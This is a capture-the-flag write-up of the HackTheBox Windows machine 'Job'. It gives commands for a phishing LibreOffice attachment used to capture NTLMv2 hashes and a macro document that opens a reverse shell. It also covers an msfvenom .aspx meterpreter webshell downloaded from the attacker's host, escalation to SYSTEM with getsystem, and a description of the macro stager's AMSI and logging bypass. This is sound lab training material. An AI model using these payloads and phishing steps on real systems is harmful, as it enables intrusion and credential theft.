Job is a vulnlab machine imported to HackTheBox as a medium Windows box. I started with network enumeration using nmap, which showed the host was a Windows server running SMTP, HTTP, SMB, RDP, and WinRM.
During web enumeration I discovered an email address on the site that could be used for phishing via the exposed SMTP service. I used Metasploit’s "odt_badodt" module to craft a macro-embedded LibreOffice (.odt) file for a reverse shell and obtained an initial shell as "jack.black".
"jack.black" is a member of the "developers" group, which has Full Control over the webroot. I uploaded a webshell and gained a second reverse shell as "IIS APPPOOL\DefaultAppPool". This account has SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege, which I leveraged with Meterpreter’s getsystem (token impersonation) to escalate to SYSTEM and root the box.
Starting with nmap port scanning and we can see that there are multiple ports opened including 25,80,445,3389 and 5985
nmap $IP
Then I did another scan but this time I specified all ports identified from previous scan and use -sCV for service enumeration and run nmap script engine but we did not get much return for this command so we gonna take a look at the website next.
nmap $IP -p 25,80,445,3389,5985 -sCV
On the website, we can see that we must send libre office (odt) file to career@job.local via SMTP protocol, classic phishing case it is.
Techstack of this website is nothing too special, everything is by default from IIS to Microsoft ASP.NET
First I will use the "odt_badodt" Metasploit module to quickly generate a LibreOffice file that references a non-existing object on our share to force NTLMv2 authentication; when Windows attempts to access the UNC path it sends an SMB authentication (NTLMSSP) containing the NTLMv2 challenge/response to the target host. (btw I had to run as root because of Permission denied error)
use auxiliary/fileformat/odt_badodt
set lhost tun0
set creator mark
set filename resume.odt
run
Then I set a responder to wait for the request on tun0 interface which is our HTB VPN interface.
sudo responder -I tun0
After responder is ready, We can send an email with an attachment to the server like this
sendemail -s $IP -f "mark <mark@job.vl>" -t career@job.local -o tls=no -m "Please review my resume senpai uwu" -a resume.odt
And sure enough, the SMB authentication was sent from the machine back to us and we can see that "jack.black" was aggressively review our attachment.
I tried to crack the hash with John The Ripper given the infamous rockyou.txt wordlist but no luck which mean the password of this user is not in rockyou.txt wordlist so cracking is not the way.
Since we know that "jack.black" will definitely open any odt attachment we give to him so let's change the plan to make macro document that will trigger a reverse shell back to us upon opening
Luckily for us that Metasploit got us cover with "openofficedocumentmacro" module so we set a payload and send this as an email attachment again.
use multi/misc/openoffice_document_macro
set payload payload/windows/x64/shell/reverse_tcp
set LHOST tun0
set SRVPORT 80
set SRVHOST tun0
set URIPATH serve
run
Send email again with newly created document from metasploit and we can see that we get a shell back as "jack.black" user as expected
sendemail -s $IP -f "mark <mark@job.vl>" -t career@job.local -o tls=no -m "Please review my resume senpai uwu" -a msf.odt
User flag is located on the desktop of this user so we can loot it and start enumerating for privilege escalation vector.
If normal shell is not enough, we can also change our payload to meterpreter to get a meterpreter session as well.
After exploring the machine, we can see that this user is in the "developers" group which have full access to "wwwroot" folder and thats mean we can do anything to this folder including drop a webshell on it.
Since the server is running IIS (which commonly hosts ASP.NET and executes .aspx pages), We can add an .aspx webshell and trigger it on our web browser which will triggered a reverse shell back to us. but first we need to create webshell first (alternatively you can use pre-made aspx shell like landanum for this as well)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=5555 -f aspx > shell.aspx
We can use lolbin to download file or even PowerShell to the webroot folder and PowerShell is much more convenient for me. (or use upload function in meterpreter)
iwr http://10.10.14.101:8000/shell.aspx -o shell.aspx
Now we have our payload ready but we will also need to set up our listener and "multi/handler" module is the most suitable one for the payload we just created eariler.
use multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost tun0
set lport 5555
run
I accessed the webshell in my browser, which triggered a reverse shell payload and spawned a new Meterpreter session. Interacting with the session shows we have a shell as "IIS APPPOOL\DefaultAppPool" — the application-pool identity for IIS. App-pool identities often have SeImpersonatePrivilege (allowing impersonation), which can be abused for token/privilege-stealing techniques.
There are multiple tools that can be used to leverage SeImpersonatePrivilege and Meterpreter already have couple methods for that which we can just simply run a single command from meterpreter session and finger cross 🤞 we are SYSTEM now.
getsystem
Now we root the box and done :D
https://labs.hackthebox.com/achievement/machine/1438364/757
In metasploit, when we create a bad odt file, it will embeded an image that will load non-existing file on our share drive upon loading this document hence the SMB authentication to our responder.
On the ODT file that responsible for reverse shell, it will be embeded as a macro which will automatically launched upon opening if Macro is enabled on the target.
Inspecting the macro, we can see that there is "OnLoad" function that will check the OS of the target that opened this file and if it can run powershell then it will fetch and execute payload hosted on with metasploit. (This is a stager payload so it make sense that it will fetch another payload from the server upon execution)
The payload will attempt to bypass Scriptblock logging and Amsi before execute another powershell payload that was gzipped and base64 encoded.
The last payload will eventually inject shellcode into the memory and result in reverse shell between target host and our machine
That's it for today, peace!